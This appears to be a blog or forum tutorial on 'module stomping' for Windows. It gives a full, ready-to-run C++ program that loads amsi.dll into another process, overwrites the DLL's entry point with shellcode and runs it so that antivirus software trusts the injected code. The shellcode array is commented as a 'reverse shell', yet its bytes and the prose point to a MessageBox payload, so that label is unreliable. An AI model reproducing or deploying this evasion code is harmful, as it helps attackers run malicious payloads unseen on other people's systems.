Hi Friends,
I would like to continue on sharing a simple tutorial on making your payload injection less supicious to AV detection.
As a common technique to inject the payload into a newly created thread in the process, this is to make the payload execution not interfering the main thread of the process. Before the thread execution, the payload need to be injected into a memory space which created with the code below
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);
where the result of the VirtualAllocEx would be a space of memory are without knowing who this memory allocation was for as highlighted in the image below. This could trigger AV detection

So the idea of the of module stomping is to create thread and memory allocation that to be assigned to a legitimate windows dll such as amsi.dll
We can use the code below to load a dll file and make this become the part of the current process
// inject a benign DLL into remote process
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
printf("Memory allocation to inject amsi.dll\n"); getchar();
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
printf("Before Write process %p\n", remoteBuffer); getchar();
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
printf("Memory Written Successfully\n"); getchar();
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);
printf("New Thread is created id : %u\n", dllThread); getchar();

Once the amsi.dll become part of the notepad.exe process then the next step is to find where the amsi.dll is located in the notepad.exe memory region. We should enumerate one by one to find the base memory
// find base address of the injected benign DLL in remote process
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
remoteModule = modules[i];
GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
printf("Name Check :%s base address : %p\n", remoteModuleName, modules[i]);
if (std::string(remoteModuleName).compare("amsi.dll") == 0)
{
std::cout << "---------------->> Name Check : "<<remoteModuleName << " base address : " << modules[i] << std::endl;
break;
}
}

Once we get the address of the amsi.dll then the next is to read the PE header in order to find the entry point address which we will overwrite with our payload
// get DLL's AddressOfEntryPoint
DWORD headerBufferSize = 0x1000; //4Kb
LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); //create heap 4Kb
printf("After Heap Allocation 4 Kb at %p", targetProcessHeaderBuffer); getchar();
ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL); //read 4kb to get the PE header information
printf("PE header information of amsi.dll cleared"); getchar();
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
std::cout << ", entryPoint at " << dllEntryPoint <<std::endl;
After we find the entry point address in the amsi.dll from the above code then we can copy our payload
// write shellcode to DLL's AddressofEntryPoint
WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
printf("Payload has been written and ready to execute Payload"); getchar();
// execute shellcode from inside the benign DLL
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
printf("After Create Remote Thread"); getchar();
When the memory copy is done successfully which is now our payload is within the body of amsi.dll that we can trigger by put using a new thread. We can see from the below image that the malicious payload run under a legitimate windows dll file. see TID 368

If we looked at the detail of the thread, we can see that MessageBoxA is called (our payload)

Based on the above scenario, the AV would likely trust our payload because it is run from the legitimate windows dll
here is the full C code. Enjoy …
#include <iostream>
#include <Windows.h>
#include <psapi.h>
int main(int argc, char* argv[])
{
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
SIZE_T modulesCount = 0;
CHAR remoteModuleName[128] = {};
HMODULE remoteModule = NULL;
// simple reverse shell x64
unsigned char shellcode[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51"
"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48"
"\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48"
"\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e"
"\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88"
"\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48"
"\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41"
"\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24"
"\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1"
"\x30\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e\x4c\x8d"
"\x85\x44\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x49\x6e\x6a\x65\x63"
"\x74\x69\x6f\x6e\x20\x54\x75\x74\x6f\x72\x69\x61\x6c\x20\x3a"
"\x20\x52\x69\x6f\x20\x69\x73\x20\x69\x6e\x20\x74\x68\x65\x20"
"\x6d\x65\x6d\x6f\x72\x79\x00\x50\x61\x79\x6c\x6f\x61\x64\x20"
"\x49\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x00";
// inject a benign DLL into remote process
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
printf("Memory allocation to inject amsi.dll\n"); getchar();
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
printf("Before Write process %p\n", remoteBuffer); getchar();
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
printf("Memory Written Successfully\n"); getchar();
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);
printf("New Thread is created id : %u\n", dllThread); getchar();
// find base address of the injected benign DLL in remote process
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
{
remoteModule = modules[i];
GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
printf("Name Check :%s base address : %p\n", remoteModuleName, modules[i]);
if (std::string(remoteModuleName).compare("amsi.dll") == 0)
{
std::cout << "---------------->> Name Check : "<<remoteModuleName << " base address : " << modules[i] << std::endl;
break;
}
}
printf("amsi baseline found and ready to be overwriten\n"); getchar();
// get DLL's AddressOfEntryPoint
DWORD headerBufferSize = 0x1000; //4Kb
LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize); //create heap 4Kb
printf("After Heap Allocation 4 Kb at %p", targetProcessHeaderBuffer); getchar();
ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL); //read 4kb to get the PE header information
printf("PE header information of amsi.dll cleared"); getchar();
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
std::cout << ", entryPoint at " << dllEntryPoint <<std::endl;
// write shellcode to DLL's AddressofEntryPoint
WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
printf("Payload has been written and ready to execute Payload"); getchar();
// execute shellcode from inside the benign DLL
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
printf("After Create Remote Thread"); getchar();
return 0;
}